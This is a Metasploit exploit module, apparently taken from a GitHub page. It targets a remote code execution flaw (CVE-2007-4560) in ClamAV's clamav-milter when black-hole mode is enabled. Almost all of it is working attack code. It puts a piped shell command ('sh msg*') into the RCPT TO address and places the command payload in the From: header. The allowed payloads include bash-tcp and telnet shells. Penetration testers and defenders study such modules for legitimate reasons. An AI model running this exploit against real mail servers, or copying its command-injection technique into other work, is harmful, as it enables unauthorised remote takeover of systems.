/
clamav_milter_blackhole.rb
89 lines (74 loc) · 2.72 KB
/
clamav_milter_blackhole.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Smtp
def initialize(info = {})
super(update_info(info,
'Name' => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
'Description' => %q{
This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
When implemented with black hole mode enabled, it is possible to execute
commands remotely due to an insecure popen call.
},
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-4560' ],
[ 'OSVDB', '36909' ],
[ 'BID', '25439' ],
[ 'EDB', '4761' ]
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic perl ruby bash-tcp telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => '2007-08-24',
'DefaultTarget' => 0))
register_options(
[
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
])
end
def exploit
# ClamAV writes randomized msg.###### temporary files in a randomized
# /tmp/clamav-#######################/ directory. This directory is
# the clamav-milter process working directory.
#
# We *can* execute arbitrary code directly from 'sploit', however the
# SMTP RFC rejects all payloads with the exception of generic CMD
# payloads due to the IO redirects. I discovered that the 'From:'
# header is written to this temporary file prior to the vulnerable
# call, so we call the file itself and payload.encoded is executed.
sploit = "sh msg*" # Execute the clamav-milter temporary file.
# Create the malicious RCPT TO before connecting,
# to make good use of the Msf::Exploit::Smtp support.
oldaddr = datastore['MAILTO']
newaddr = oldaddr.split('@')
datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"
connect_login
sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
sock.put(".\r\n")
# Clean up RCPT TO afterwards
datastore['MAILTO'] = oldaddr
handler
disconnect
end
end